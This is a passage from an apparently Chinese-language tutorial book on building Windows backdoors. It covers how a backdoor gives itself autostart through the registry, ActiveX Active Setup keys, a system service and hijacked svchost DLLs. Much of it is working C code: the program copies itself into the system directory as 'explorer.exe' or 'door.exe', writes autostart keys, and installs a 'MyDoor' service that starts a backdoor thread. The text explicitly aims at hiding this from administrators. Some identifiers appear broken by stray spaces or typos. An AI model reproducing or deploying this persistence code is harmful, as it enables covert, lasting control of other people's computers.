3.4 如何实现自启动功能
我们在安装某一程序的时候,它会询问是否让该程序随操作系统自动启动。病毒的自启动和一般的应用程序并没有差别,其实现的原理还要从Windows的注册表开始。第一自启动目录:默认路径位于:
C:windowsstart menuprogramsstartup(English)
C:windowsstart menuprograms启动(Chinese)
这是最基本、最常用的Windows启动方式,主要用于启动一些应用软件的自启动项目,如Office的快捷菜单。一般用户希望所要启动的文件也可以通过这里启动,只要把所需文件或其快捷方式放入文件夹中即可。
对应的注册表位置如下。
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExpl orerShell Folders] Startup=\"%Directory%\" [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplore rUserShellFolders] Startup=\"%Directory%\"
其中,“%Directory%”为启动文件夹位置。
英文默认为:C:windows start menuprogramsstartup。
中文默认为:C:windows start menuprograms启动。
自启动是后门必须拥有的一项功能,其隐蔽性在很大程度上决定了后门的存在。如果后门的自启动项很容易就被管理员发现并删除,则对其服务器的控制也就此结束了。可以说,后门自启动的方式是能否被发现的决定性因素。
3.4.1 写入注册表自启动
注册表自启动是在注册表中修改或添加相关的自启动键值,而且这些键值的数据一般都会修改为要实现自启动程序的文件名。在“运行”对话框中输入“msconfig”命令,如下图所示。
“运行”对话框
单击“确定”按钮,即可打开“任务管理器”对话框。在“启动”选项卡中可看到本机中所有的启动程序,如图所示。
本机中所有的启动程序
在“系统配置”对话框中显示的启动程序都是通过加载注册表来实现自启动的,所以注册表启动没有太强的隐蔽性,可通过加载一些不常见的注册表键值来实现自启动,以增强后门的隐蔽性。要实现注册表启动,只需建立或修改注册表中的键或键值就可以了。
具体要修改的键值如下。
(1)Load键。
在HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersi on\Windows\load分支下修改load对应的键值。
(2)Userinit键。
它位于HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\Cur rentVersion\Winlogon\Userinit主键下,用于系统启动时加载程序。一般默认值为“userinit.exe”,由于该子键值中可使用逗号分隔开多个程序,因此在键值的数值中可加入其他程序。
(3)Explorer\Run键。
该键在注册表中有两个位置,分别是HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run和HKEY_LOCAL_MACHINE\ Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run,在这两处建立包含具体路径文件名的键值即可。
(4)RunServicesOnce键。
这个键同时位于HKEY_CURRENT_USER\Software\Microsoft\ Windows\CurrentVersion\RunServicesOnce和HKEY_LOCAL_MACHINE\Software\Microsoft\W indows\CurrentVersion\RunServicesOnce下,在这两处建立包含具体路径文件名的键值即可。
(5)unServices键。
在HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVers ion\RunServices和HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Ru nServices分支下建立包含具体路径文件名的键值。
(6)RunOnce\Setup键。
这个键同时位于HKEY_CURRENT_USER\Software\Microsoft \Windows\CurrentVersion\RunOnce\Setup和HKEY_LOCAL_MACHINE\Software\Microsoft\Wi ndows\CurrentVersion\RunOnce\Setup下,在这两处建立包含具体路径文件名的键值即可。
(7)RunOnce键。
这个键同时位于HKEY_CURRENT_USER\Software\Microsoft\Window \CurrentVersion\RunOnce和HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\RunOnce下,在这两处建立包含具体路径的文件名的键值即可。位于HKEY_CURRENT_ USER根键下的RunOnce子键在用户登录以及其他注册表的Run键值加载程序前加载相关程序,而位于HKEY_LOCAL_MACHINE主键下的RunOnce子键则是在操作系统处理完其他注册表Run子键及自启动文件夹内的程序后才被加载的。
(8)Run键。
这个键同时位于HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run和HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run下,在这两处建立包含具体路径的文件名的键值。
其中,位于HKEY_CURRENT_USER根键下的Run键值和HKEY_LOCAL_MACHINE主键下的Run键值启动,但两个键值都是在“启动”文件夹之前加载。所以只要在编程过程中建立或修改上面的键值为自定义文件名就可实现自启动,但在修改之前需把后门程序复制到system 32或Windows目录下。由于该目录下系统文件比较多,所以管理员不敢轻易删除这些目录,这样就能达到保护后门程序的目的。
由于复制文件CopyFile函数的第一个参数是源文件名(该函数在前一章已经介绍过),要想得到源文件名,就必须借助于GetModuleFileName函数。该函数的具体格式如下。
DWORD GetModuleFileName(HMODULE hModule, LPTSTR lpFilename, DWORD nSize );
各个参数的具体含义如下。
· hModule:指向模块的句柄,如果此参数为NULL,则为自身程序的句柄。
· lpFilename:存放返回名字的内存块的指针,是一个输出参数。
· nSize:指向IpFilename缓冲区的字符长度。
如果该函数调用成功,则返回复制IpFilename缓冲区字符串的字符长度,否则返回0。
通过CreateStringReg函数修改注册表实现自启动就非常容易了,下面是实现注册表自启动的代码。
#include "stdafx.h" #include <windows.h> #include <stdio.h> void CreateStringReg(HKEY hRoot, char *szSubKey, char* ValueName, char *Data) { HKEY hKey; long lRet=RegCreateKeyEx(hRoot, szSubKey,0, NULL, REG_OPTION_ NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL); //打开注册表键,不存在 则创建它 if (lRet! =ERROR_SUCCESS) { printf("error no RegCreateKeyEx %s\n", szSubKey); return ; } lRet=RegSetValueEx(hKey, ValueName,0, REG_SZ, (BYTE*) Data, strlen(Data)); //修改注册表键值,没有则创建它 if (lRet! =ERROR_SUCCESS) { printf("error no RegSetValueEx %s\n", ValueName); return ; } RegCloseKey(hKey); } int autorun() { char SelfFile[MAX_PATH]; char SystemPath[512]; GetSystemDirectory(SystemPath, sizeof(SystemPath)); //得到系 统目录路径 strcat(SystemPath, "\\explorer.exe"); GetModuleFileName (NULL, SelfFile, MAX_PATH); //得到自身程序路径 if(! CopyFile(SelfFile, SystemPath, true)) //复制文件 return 0; CreateStringReg(HKEY_CURRENT_USER, "Software\\Microsoft\\ Windows NT\\CurrentVersion\\Windows", "load", SystemPath); //写入注册表 return 0; } int main(int argc, char* argv[]) { autorun(); return 0; }
3.4.2 ActiveX自启动
ActiveX是Microsoft对一系列策略性面向对象程序技术和工具的称呼,其中主要的技术是组件对象模型(COM)。它是针对Internet应用开发的技术,目前已被广泛应用于Web服务器和客户端,同时也被用于创建普通的桌面应用程序。
和注册表自启动一样,ActiveX自启动也是通过修改注册表实现的,只是修改的位置和方式不同而已。在“注册表编辑器”窗口中的HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\InstalledComponents分支下单击{44BBA840-CC51-11CF-AAFA-00AA00B6015C}子键,即可在右边的窗格中看到StubPath字符串的键值,如图所示。
“注册表编辑器”窗口
该键值的作用是指向开机自启动的程序名。所以只需将该处创建类似{44BBA840-CC51-11CF-AAFA-00AA00B6015C}子键,并且在其中创建名为StubPath键值,同时将其值设置为后门的全路径文件名,就可以实现自启动的开启了。在修改完毕后第一次开机可自启动,但以后开机不会实现自启动。出现这种情况的原因在于:在第一次自启动后,系统会在HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\InstalledComponents创建和{44BBA840-CC51-11CF-AAFA-00AA00B6015C}同名的键,所以每次后门开机自动运行时都要把该键删除。
编程时,只需实现在每次后门运行时判断HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\InstalledComponents分支下是否存在{44BBA840-CC51-11CF-AAFA-00AA00B6015C}键即可。如果存在则表明后门不是第一次运行,需将此键删除;如果不存在则表明后门是第一次运行,再在HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\InstalledComponents中创建{44BBA840-CC51-11CF-AAFA-00AA00B6015C}键及其子键,最后将其复制到系统目录中。
下面是实现ActiveX自启动的代码。
void CreateStringReg(HKEY hRoot, char *szSubKey, char* ValueName, char *Data) //用于修改字符串类型键值 { HKEY hKey; long lRet=RegCreateKeyEx(hRoot, szSubKey,0, NULL, REG_OPTION_NON_ VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL); //打开注册表键,不存在 则创建它 if (lRet! =ERROR_SUCCESS) { printf("error no RegCreateKeyEx %s\n", szSubKey); return ; } lRet=RegSetValueEx(hKey, ValueName,0, REG_SZ, (BYTE*) Data, strlen(Data)); //修改注册表键值,没有则创建它 if (lRet! =ERROR_SUCCESS) { printf("error no RegSetValueEx %s\n", ValueName); return ; } RegCloseKey(hKey); } int main(int argc, char* argv[]) { HKEY hKey; DWORD dwDpt=REG_OPENED_EXISTING_KEY; long lRet=RegOpenKeyEx(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\ Active Setup\\Installed Components\\{7E453DEC-CBD0-45F9-B8BD- F0AA2F306DD1}", REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, &hKey); //打开 {7E453DEC-CBD0-45F9-B8BD-F0AA2F306DD1}子键 if (lRet! =ERROR_SUCCESS) //不存在则复制自身文件到系统目录并加载 ActiveX启动 { char SelfFile[MAX_PATH]; char SystemPath[512]; GetSystemDirectory(SystemPath, sizeof(SystemPath)); //得到系 统目录路径 strcat(SystemPath, "\\door.exe"); GetModuleFileName (NULL, SelfFile, MAX_PATH); //得到自身程序 路径 CopyFile(SelfFile, SystemPath, true); //复制文件 CreateStringReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\ Active Setup\\Installed Components\\{7E453DEC-CBD0-45F9-B8BD-F0AA2 F306DD1}", "StubPath", SystemPath); //加载ActiveX启动,一个自定义修改注 册表的函数 return 0; } RegDeleteKey(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\ Active Setup\\Installed Components\\{7E453DEC-CBD0-45F9-B8BD- F0AA2F306DD1}");否则删除该键 //.................后门代码 return 0; }
3.4.3 系统服务自启动
Windows中的服务程序都是遵循服务控制管理器(SCM)的接口标准,会在登录系统时自动运行,甚至在没有用户登录的状态下也可以运行。而服务器通常是处于注销状态下,所以系统服务启动成为后门最常见的启动方式之一。
1.系统服务简介
在具体介绍系统服务自启动之前需对系统服务的组成有一个大概了解,系统服务主要由如下4个部分构成。
(1)服务控制管理器(SCM)。
服务控制管理器是一个RPC服务器,它显露了一组应用编程接口,程序员可以方便地编写程序来配置服务和控制远程服务器中的服务程序。它包括如下几个方面的信息。
① 已安装服务的数据库。服务控制管理器在注册表中有一个已安装服务的数据库,包括服务类型、启动类型、错误类型、执行文件路径、可选用户名和密码等信息。该数据库在注册表中的位置是HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services,包含很多子键,每个子键就代表一种服务。
② 自动启动服务。在系统启动时服务控制管理器会启动所有自启动服务和相关依赖服务。
③ 因要求而启动的服务。用户可在“服务”窗口中启用一项服务,也可使用StartService来启动服务。同时,在服务控制管理器中进行获得账户信息、登录服务项目、允许进程进行等操作。
④ 服务记录列表。每项服务在数据库中都包含了服务名称、开始类型、服务状态、依赖服务指针等信息。
⑤ 服务控制管理器句柄。服务控制管理器支持句柄类型访问的对象有已安装服务数据库、服务程序、数据库的状态等信息。
(2)服务控制程序(SCP)。
通过服务控制程序可以对服务程序进行开启、控制和状态查询等操作。如果服务的开启类型为SERVICE_DEMAND_START,就可以用服务控制程序来开启某项服务。
在开启服务的初始化阶段,服务的当前状态是SERVICE_START_PENDING;而当初始化完成后,状态就变为SERVICE_RUNNING。通过服务控制程序还可以对服务进行控制和状态查询。常见的控制状态有停止服务(SERVICE_CONTROL_STOP)、暂停服务(SERVICE_CONTROL_PAUSE)、恢复暂停服务(SERVICE_ CONTROL_CONTINUE)以及获得更新信息(SERVICE_CONTROL_INTERROGATE)等。
(3)服务程序。
在服务程序中包含一个或多个服务的执行代码。如可以创建类型为SERVICE_WIN32_OWN_PROCESS的服务程序中就只包含一个服务;而类型为SERVICE_WIN32_SHARE_PROCESS的服务程序中就包含多个服务的执行代码。
(4)服务配置程序。
系统管理员可以使用服务配置程序来更改查询已安装服务的详细信息,也可通过注册表函数来访问相关资源。
安装、删除和列举服务。可以使用相应的系统函数来创建、删除服务,也可以查询所有服务的当前状态。
配置服务。系统管理员可以使用服务来控制服务的启动类型、显示名称以及相应的描述信息等。
2.创建服务
对于后门来说,只需创建和删除服务即可。创建服务的具体流程如图所示。
① 从图中不难看出,需要先将自身文件复制到系统目录中,这个功能在注册表启动中已经实现,这里不再赘述。将自身文件成功复制到系统目录之后,需要调用OpenSCManager函数得到服务控制管理器数据库句柄。该函数的具体格式如下。
创建服务的具体流程
SC_HANDLE OpenSCManager(LPCTSTR lpMachineName, LPCTSTR lpDatabaseName, DWORD dwDesiredAccess);
各个参数的含义如下。
· lpMachineName:要打开服务控制管理数据库的目标主机名,如为空表示默认为本机。
· lpDatabaseName:目标主机SCM数据库名字的字符串。
· dwDesiredAccess:设置对SCM数据库的访问权限,如果要创建服务,必须拥有目标计算机的管理员权限,该参数一般设为SC_MANAGER_ALL_ACCESS。
② 如果该函数调用成功,则返回SCM数据库的句柄,否则将返回NULL。在得到SCM数据库句柄后,就可以调用CreateService函数创建服务。该函数的具体格式如下。
SC_HANDLE WINAPI CreateService( SC_HANDLE hSCManager, LPCTSTR lpServiceName, LPCTSTR lpDisplayName, DWORD dwDesiredAccess, DWORD dwServiceType, DWORD dwStartType, DWORD dwErrorControl, LPCTSTR lpBinaryPathName, LPCTSTR lpLoadOrderGroup, LPDWORD lpdwTagId, LPCTSTR lpDependencies, LPCTSTR lpServiceStartName, LPCTSTR lpPassword);
各个参数的含义如下。
· hSCManager:服务控制管理程序维护的登记数据库的句柄,由系统函数OpenSCM anager返回。
· lpServiceName:以NULL结尾的服务名,用于创建登记数据库中的关键字。
· lpDisplayName:以NULL结尾的服务名,用于用户界面标识服务。
· dwDesiredAccess:指定服务返回类型。
· dwServiceType:指定服务类型。
· dwStartType:指定启动服务类型,共有5种启动类型。前3种是:SERVICE_AUTO_START(自动)、SERVICE_DISABLED(禁用)和SERVICE_DEMAND_START(手动),通常使用“计算机管理”管理工具中的“服务”进行配置。后2种是:SERVICE_BOOT_START和SERVICE_SYSTEM_START,通常用于配置加载设备驱动程序的方式。
· dwErrorControl:指定服务启动失败的严重程度。
· lpBinaryPathName:指定服务程序二进制文件的路径。
· lpLoadOrderGroup:指定顺序装入的服务组名。
· lpdwTagId:指定组标识。
· lpDependencies:指定启动该服务前必须先启动的服务或服务组。
· lpServiceStartName:以NULL结尾的字符串,指定服务账号。如是NULL,则表示使用本地系统。
· lpPassword:以NULL结尾的字符串,指定对应的口令。为NULL表示无口令。
由于该函数的参数比较多,但很多均可设置为NULL,所以该函数调用的方式如下。
schService=CreateService(schSCManager, ”MyDoor”, ”MyDoor”, SERVI CE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNO RE, SystemPath, NULL, NULL, NULL, NULL, NULL);
③ 如果该函数调用成功,则返回创建服务的句柄;如果调用失败则说明要创建的服务已经存在,此时就必须调用OpenService函数打开刚创建的服务。该函数的具体格式如下。
SC_HANDLE OpenService(SC_HANDLE hSCManager, LPCTSTR lpServiceName, DWORD dwDesiredAccess);
各个参数的具体含义如下。
· hSCManager:服务控制管理数据库句柄,由OpenSCManager函数返回。
· lpServiceName:要打开服务的名称。
· dwDesiredAccess:设置服务的访问类型。
④ 如果调用该函数成功则返回打开服务的句柄,否则将返回NULL。在得到服务句柄后,就可以调用StartService函数启动该服务了。该函数的具体格式如下。
BOOL StartService( SC_HANDLE hService, DWORD dwNumServiceArgs, LPCTSTR * lpServiceArgVectors);
各个参数的具体作用如下。
· hService:要启动服务的句柄,由OpenService或CreateService函数返回。
· dwNumServiceArgs:设置启动服务所需参数的个数。
· lpServiceArgVectors:启动服务的参数。
⑤ 在成功启动服务后,需要调用QueryServiceStatus函数来查询服务的状态。该函数的具体格式如下。
BOOL QueryServiceStatus(SC_HANDLE hService, LPSERVICE_STATUS lpServiceStatus);
各个参数的作用如下。
· hService:要查询服务的句柄。
· lpServiceStatus:指向SERVICE_STATUS结构,用于返回服务的状态信息。该结构中的dwCurrentState字段标识当前服务状态,其取值有SERVICE_RUNNING(正在启动)、SERV ICE_START_PENDING(将要启动)、SERVICE_ STOP_ PENDING(将要停止)以及SERVICE_ STOPPED(已经停止)等4种。
⑥ 在得到服务的运行状态后,需要关闭打开的句柄,此时调用CloseServiceHandle函数即可实现该功能。整个创建和启动服务的过程就是调用上述介绍的函数。
创建和启动服务的实现代码如下。
int APIENTRY InstallService() { SC_HANDLE schSCManager; SC_HANDLE schService; DWORD dwErrorCode; SERVICE_STATUS InstallServiceStatus; char SystemPath[256]; char SelfFile[MAX_PATH]; GetSystemDirectory(SystemPath, sizeof(SystemPath)); //得 到 系统目录路径 strcat(SystemPath, "\\door.exe"); GetModuleFileName (NULL, SelfFile, MAX_PATH); //得到自身文件路径 if(! CopyFile(SelfFile, SystemPath, true)) //复制自身到系统目录 return 0; schSCManager=OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ ACCESS); //打开服务控制管理器数据库 if(schSCManager==NULL) { printf("OpenSCManager Error ! \n"); return 0 ; } schService=CreateService(schSCManager, "MyDoor", "MyDoor", SERVI CE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, SystemPath, NULL, NULL, NULL, NULL, NU LL); //创建服务 if(schService==NULL) //创建失败 { dwErrorCode=GetLastError(); if(dwErrorCode! =ERROR_SERVICE_EXISTS) { printf("CreateService Error ! \n"); CloseServiceHandle(schSCManager); return 0 ; } else //如果服务存在 { schService=OpenService(schSCManager, "MyDoor", SERVI CE_START); //假如服务已存在则打开服务 if(schService==NULL) //打开失败 { printf("OpenService Error ! \n"); CloseServiceHandle(schSCManager); return 0 ; } } } if(StartService(schService,0, NULL)==0) //启动服务 { dwErrorCode=GetLastError(); if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING) //服 务正在运行 { printf("StartService Error ! \n"); CloseServiceHandle(schSCManager); CloseServiceHandle(schService); return 0; } } while(QueryServiceStatus(schService, &InstallServiceStat us)! =0) //查询服务状态 { if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING) //服务是否在初始化阶段 { Sleep(100); } else { break; } } if(InstallServiceStatus.dwCurrentState! =SERVICE_RUNNING) //查询服务状态,看有没有启动成功 { printf("Install service Failed"); } else { printf("Install service Successed"); } CloseServiceHandle(schSCManager); CloseServiceHandle(schService); return 1 ; }
3.删除服务
在实现创建和启动服务之后,还需要完成服务配置程序的另一个功能:删除服务。与创建和启动服务相比,删除服务就显得非常容易了。先调用QueryServiceStatus函数查询服务状态。如果要删除的服务处于运行状态,则需调用ControlService函数停止服务,再调用DeleteService函数删除服务;如果服务处于停止状态,则直接调用DeleteService函数即可将其删除。其中ControlService函数直接向服务程序的控制处理函数发送控制码来控制服务的运行状态,其具体格式如下。
BOOL ControlService( SC_HANDLE hService, DWORD dwControl, LPSERVICE_STATUS lpServiceStatus);
各个参数的具体作用如下。
· hService:服务的句柄。
· dwControl:要发送的控制码,如果想停止服务,则发送SERVICE_CONTROL_STOP。
· lpServiceStatus:该参数的作用是返回服务状态。
而DeleteService函数的作用是删除服务,该函数只有一个schService参数,它指向要删除服务的句柄。下面是实现删除服务的具体代码段。
int RemoveService() { SC_HANDLE schSCManager; SC_HANDLE schService; SERVICE_STATUS NServiceStatus; schSCManager=OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); //打开服务控制管理器数据库 if(schSCManager==NULL) return 0; //打开服务 schService=OpenService(schSCManager, "MyDoor", SERVICE_ALL_ ACCESS); if(schService==NULL) return 0; QueryServiceStatus(schService, &NServiceStatus); //查询服务状态 if(NServiceStatus.dwCurrentState==SERVICE_RUNNING)//如果服务正在 运行就停止服务 { ControlService(schService, SERVICE_CONTROL_STOP, &NServiceStatus); } if(DeleteService(schService)) //删除服务 { printf("remove service Successed"); CloseServiceHandle(schSCManager); //关闭打开的句柄 CloseServiceHandle(schService); return 0; } else { printf("remove service Failed"); CloseServiceHandle(schSCManager); //关闭打开的句柄 CloseServiceHandle(schService); return 0; } }
到这里,服务配置部分已经编写完成了。下面还需要编写服务控制部分,它相对于服务配置要稍微简单一些。
4.实现服务控制
服务控制部分其实就是一个回调函数,外部程序把控制命令传送给这个函数的dwCode参数,该函数通过调用SetServicesStatus函数来设置服务的状态。
服务配置端具体的实现代码如下。
void WINAPI ServiceControl(DWORD dwCode) { switch(dwCode) { case SERVICE_CONTROL_PAUSE: //服务暂停 ServiceStatus.dwCurrentState = SERVICE_PAUSED; break; case SERVICE_CONTROL_CONTINUE: //服务继续 ServiceStatus.dwCurrentState = SERVICE_RUNNING; break; case SERVICE_CONTROL_STOP: //服务停止 ServiceStatus.dwCurrentState = SERVICE_STOPPED; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; if(SetServiceStatus(ServiceStatusHandle, &ServiceSta tus)==0) //设置服务状态 { OutputDebugString("SetServiceStatus in ServiceControl in Switch Error ! \n"); } return ; case SERVICE_CONTROL_INTERROGATE: break; default: break; } if(SetServiceStatus(ServiceStatusHandle, &ServiceStatus) ==0) //设置服务状态 { OutputDebugString("SetServiceStatus in ServiceControl out Switch Error ! \n"); } return ; }
其中,ServiceControl函数并不需要程序来调用,当服务控制管理器收到控制码后,系统就会自动调用ServiceControl函数。
5.编写服务部分
编写完服务控制部分后,就只剩服务部分代码了。在编写服务部分时先调用RegisterService CtrlHandler(函数注册控制)函数,再调用SetServiceStatus函数将服务的状态设置为运行状态,最后调用CreateThread函数开启线程,作为执行后门代码。其中RegisterServiceCtrlHandler函数是一个用于SCM的CtrlHandler回调函数,其具体格式如下。
SERVICE_STATUS_HANDLE RegisterServiceCtrlHandler( LPCTSTR lpServiceName, LPHANDLER_FUNCTION lpHandlerProc);
各个参数的作用如下。
· lpServiceName:设置服务的名称。
· lpHandlerProc:设置服务控制函数的地址。
如果该函数调用成功,则会返回一个32位的SERVICE_STATUS_HANDLE句柄。SCM就是使用该句柄来确定服务。当服务需要把其当时的状态传递给SCM时,就必须把这个句柄传递给需要它的Win32函数。实现这一部分的具体代码如下。
void WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpArgv) { HANDLE hThread; ServiceStatus.dwServiceType = SERVICE_WIN32; //填写SERVICE_ STATUS结构 ServiceStatus.dwCurrentState = SERVICE_START_PENDING; ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ServiceStatus.dwServiceSpecificExitCode = 0; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCheckPoint= 0; ServiceStatus.dwWaitHint= 0; ServiceStatusHandle=RegisterServiceCtrlHandler("MyDoor", Ser viceControl); //注册服务控制函数 if(ServiceStatusHandle==0) { OutputDebugString("RegisterServiceCtrlHandler Error ! \n"); return ; } ServiceStatus.dwCurrentState = SERVICE_RUNNING; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; if(SetServiceStatus(ServiceStatusHandle, &ServiceStatus)==0) //设置服务状态 { OutputDebugString("SetServiceStatus Error ! \n"); return ; } hThread=CreateThread(NULL,0, RunService, NULL,0, NULL); //启动后门线程 if(hThread==NULL) { OutputDebugString("CreateThread Error ! \n"); } return ; }
可以看出,通过CreateThread函数中的线程函数RunService可以实现自定义的后门功能。由于这里使用的是零管道正向连接后门,所以后门就可以以服务的方式启动了。
另外,由于在VC++6.0中的程序入口点的函数是Mian和Winmain,所以当程序以系统服务状态运行后,还是从Mian和Winmain执行,这样就不会去执行ServiceMian函数。为了解决这个问题,必须在程序的入口点函数中调用StartServiceCtrlDispatcher函数,该函数通过连接服务控制管理器,开始控制调度程序线程(ServiceMain函数)。
StartServiceCtrlDispatcher函数只有一个参数,该参数指向一个SERVICE_TABLE_ENTRY结构数组,数组记录了这个服务程序中包含所有服务的名称和服务的进入点函数。
下面是该函数的具体调用过程。
int main(int argc, char* argv[]) { SERVICE_TABLE_ENTRY DispatchTable[] = { {"MyDoor", ServiceMain}, //服务程序的名称和入口点; {NULL, NULL}//SERVICE_TABLE_ENTRY结构必须以“NULL”结束 }; StartServiceCtrlDispatcher(DispatchTable); //连接服务控制管理器,开 始控制调度程序线程 if(argc==2) { if(! stricmp(argv[1], "-install")) { InstallService(); //创建服务 } if(! stricmp(argv[1], "-remove")) { RemoveService(); //删除服务 } } return 0; }
整个服务程序的执行流程是:先进入Main函数,通过调用StartServiceCtrlDispatcher函数连接服务控制管理器,开始控制调度程序线程,并启动服务入口点函数;再在服务入口点注册服务控制函数(ServiceControl);最后启动后门代码。
3.4.4 svchost.exe自动加载启动
Windows系统服务分为独立进程和共享进程两种,在Windows NT时只有服务器管理器SCM(Services.exe)有多个共享服务。随着系统内置服务的增加,在Windows 2000中微软又把很多服务做成共享方式,由svchost.exe(一个属于微软Windows操作系统的系统程序,用于执行DLL文件)启动。Windows 2000一般有2个svchost进程,一个是RPC(Remote Procedure Call)服务进程,另一个是由很多服务共享的一个svchost.exe。而在Windows XP中一般有4个以上的svchost.exe服务进程,Windows 2003 server中则更多。要实现svchost.exe共享服务,则必须使一个svchost进程启动多个服务。
但svchost本身只是作为服务宿主,并不实现任何服务功能,所以需要svchost启动的服务以动态链接库形式(Dynamic Linkable Library,DLL)实现。在安装这些服务时,把服务的可执行程序指向svchost。启动这些服务时由svchost调用相应服务的动态链接库来启动服务,而一个svchost.exe进程可以调用多个动态链接库。
通过设置服务在注册表中的参数,可以使svchost.exe进程知道某一服务是由哪个动态链接库负责。注册表中服务的信息保存在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services分支下,在该处保存了本机所有服务的信息,如图所示。单击某个服务即可看到Parameters子键,其中ServiceDll键值表明该服务由哪个动态链接库负责。并且所有这些服务动态链接库都必须导出一个ServiceMain()函数,用来处理服务任务。
注册表中的服务信息
虽然这些服务是使用共享进程方式由svchost启动的,但是系统中会有多个svchost进程。出现这种情况的原因在于:系统把这些服务分为几组,同组服务共享一个svchost进程,不同组服务使用多个svchost进程。
Svchost的所有组和组内所有服务在注册表中的位置都是HKEY_LOCAL_MACHINE\SOFT WARE\Microsoft\Windows NT\CurrentVersion\Svchost,如图所示。在启动一个svchost.exe负责的服务时,服务管理器如遇到可执行程序内容ImagePath已存在于服务管理器的映象库,就不启动第2个进程svchost,而直接启动服务,这就实现了多个服务共享一个svchost进程。
注意
Svchost已经调用StartServiceCtrlDispatcher来调度服务线程,所以在实现动态链接库时就不再调用。另外,动态链接库接收到的都是Unicode字符串。
Svchost所有组和组内所有服务在注册表中的位置
所以要想达到隐藏自己的目的,不需要建立一个由Svchost启动的服务,而只需替换已有服务ServiceDll键值所指向的Dll(即修改的ServiceDll键值),并将该服务设置为自动启动即可。由于这种服务启动后由svchost加载,不增加新的进程,只是svchost的一个DLL,而且一般系统管理员不会检查HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost服务组是否变化,即使检查也不一定能发现异常,因此如果添加一个这样的DLL后门,伪装得好还是比较隐蔽的。
由于服务函数要为Svchost调用,所以必须是导出函数,并且其能接收Unicode字符串。为修改注册表实现替换服务(安装后门)和还原服务(删除后门),还需要两个导出函数Install和Remove;只需利用rundll32.exe来调用这两个函数,就可以实现安装和卸载服务。通过Svchost.exe自动加载与系统服务自启动非常相似。